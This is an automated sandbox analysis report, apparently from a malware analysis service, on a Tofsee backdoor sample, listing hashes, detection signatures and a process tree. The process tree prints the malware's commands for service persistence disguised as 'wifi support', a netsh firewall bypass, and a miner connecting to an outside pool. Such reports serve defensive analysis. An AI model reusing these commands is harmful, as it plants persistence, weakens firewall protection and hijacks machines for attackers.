Overview

overview

10

Static

static

5810bcea21...3d.exe

windows7_x64

10

5810bcea21...3d.exe

windows10_x64

10

Analysis

  • max time kernel
    152s
  • max time network
    156s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    10/11/2020, 11:36

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General

  • Target
    5810bcea219cf9b1b1d99ad8a98604cdb521f0b867509ea2eb8b675da51b923d.exe
  • Size 14.1MB
  • Sample201110-kgenqz1rbj
  • SHA256 5810bcea219cf9b1b1d99ad8a98604cdb521f0b867509ea2eb8b675da51b923d
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5810bcea219cf9b1b1d99ad8a98604cdb521f0b867509ea2eb8b675da51b923d.exe
    "C:\Users\Admin\AppData\Local\Temp\5810bcea219cf9b1b1d99ad8a98604cdb521f0b867509ea2eb8b675da51b923d.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:508
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cchiavrs\
      2⤵
        PID:3128
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\eefqlmks.exe" C:\Windows\SysWOW64\cchiavrs\
        2⤵
          PID:4068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cchiavrs binPath= "C:\Windows\SysWOW64\cchiavrs\eefqlmks.exe /d\"C:\Users\Admin\AppData\Local\Temp\5810bcea219cf9b1b1d99ad8a98604cdb521f0b867509ea2eb8b675da51b923d.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3056
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description cchiavrs "wifi internet conection"
            2⤵
              PID:4060
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start cchiavrs
              2⤵
                PID:2884
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2684
              • C:\Windows\SysWOW64\cchiavrs\eefqlmks.exe
                C:\Windows\SysWOW64\cchiavrs\eefqlmks.exe /d"C:\Users\Admin\AppData\Local\Temp\5810bcea219cf9b1b1d99ad8a98604cdb521f0b867509ea2eb8b675da51b923d.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3268
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3796
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3208

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/508-0-0x0000000000D33000-0x0000000000D34000-memory.dmp
                    Download

                    memory/508-1-0x0000000001200000-0x0000000001201000-memory.dmp
                    Download

                    memory/3208-21-0x0000000002E50000-0x0000000002F41000-memory.dmp
                    Download

                    memory/3268-11-0x0000000001220000-0x0000000001221000-memory.dmp
                    Download

                    memory/3268-10-0x0000000000CDE000-0x0000000000CDF000-memory.dmp
                    Download

                    memory/3796-12-0x0000000003100000-0x0000000003115000-memory.dmp
                    Download

                    memory/3796-15-0x0000000004F40000-0x000000000514F000-memory.dmp
                    Download

                    memory/3796-16-0x00000000034E0000-0x00000000034E6000-memory.dmp
                    Download

                    memory/3796-17-0x00000000034F0000-0x0000000003500000-memory.dmp
                    Download

                    memory/3796-19-0x0000000009A10000-0x0000000009E1B000-memory.dmp
                    Download

                    memory/3796-18-0x0000000003DD0000-0x0000000003DD5000-memory.dmp
                    Download

                    memory/3796-20-0x0000000003DE0000-0x0000000003DE7000-memory.dmp
                    Download